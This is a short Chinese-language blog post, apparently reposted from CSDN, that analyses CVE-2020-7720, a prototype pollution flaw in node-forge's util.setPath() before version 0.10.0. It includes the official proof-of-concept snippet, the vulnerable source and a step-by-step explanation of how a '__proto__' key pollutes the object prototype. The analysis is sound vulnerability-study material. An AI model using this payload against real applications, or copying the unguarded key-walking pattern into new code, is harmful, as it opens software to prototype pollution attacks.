CVE-2020-7720漏洞分析

CVE-2020-7720漏洞分析

一、简介

nodejs的一个软件包node-forge在0.10.0版本以前,其中有一个util.setPath()函数,存在原型链污染漏洞,攻击者可以通过构造相应的参数对应用程序执行原型污染攻击。

官方给出的POC如下:

const nodeforge = require('node-forge');
var obj = {};
nodeforge.util.setPath(obj, ['__proto__', 'polluted'], true);
console.log(polluted);

二、漏洞复现与分析

1、环境搭建

下载低于0.10.0版本的node-forge组件

npm i [email protected]

2、源码分析

根据POC,我们直接定位到setPath函数。该函数的源码比较简单(如下):

util.setPath = function(object, keys, value) {
    // need to start at an object
    if(typeof(object) === 'object' && object !== null) {
      var i = 0;
      var len = keys.length;
      while(i < len) {
        var next = keys[i++];
        if(i == len) {
          // last
          object[next] = value;
        } else {
          // more
          var hasNext = (next in object);
          if(!hasNext ||
            (hasNext && typeof(object[next]) !== 'object') ||
            (hasNext && object[next] === null)) {
            object[next] = {};
          }
          object = object[next];
        }
      }
    }
  };

我们知道keys是一个形如这样的数组

['__proto__','pollute']

通过while循环,第一步进行的操作是:

object = object[__proto__]

然后是:

object[pollute] = true

这样就造成了原型链的污染,结合起来就是这样:

object['__proto__']['pollute'] = true

3、漏洞验证

console.log(pollute)

猜你喜欢

转载自blog.csdn.net/gental_z/article/details/109052532
今日推荐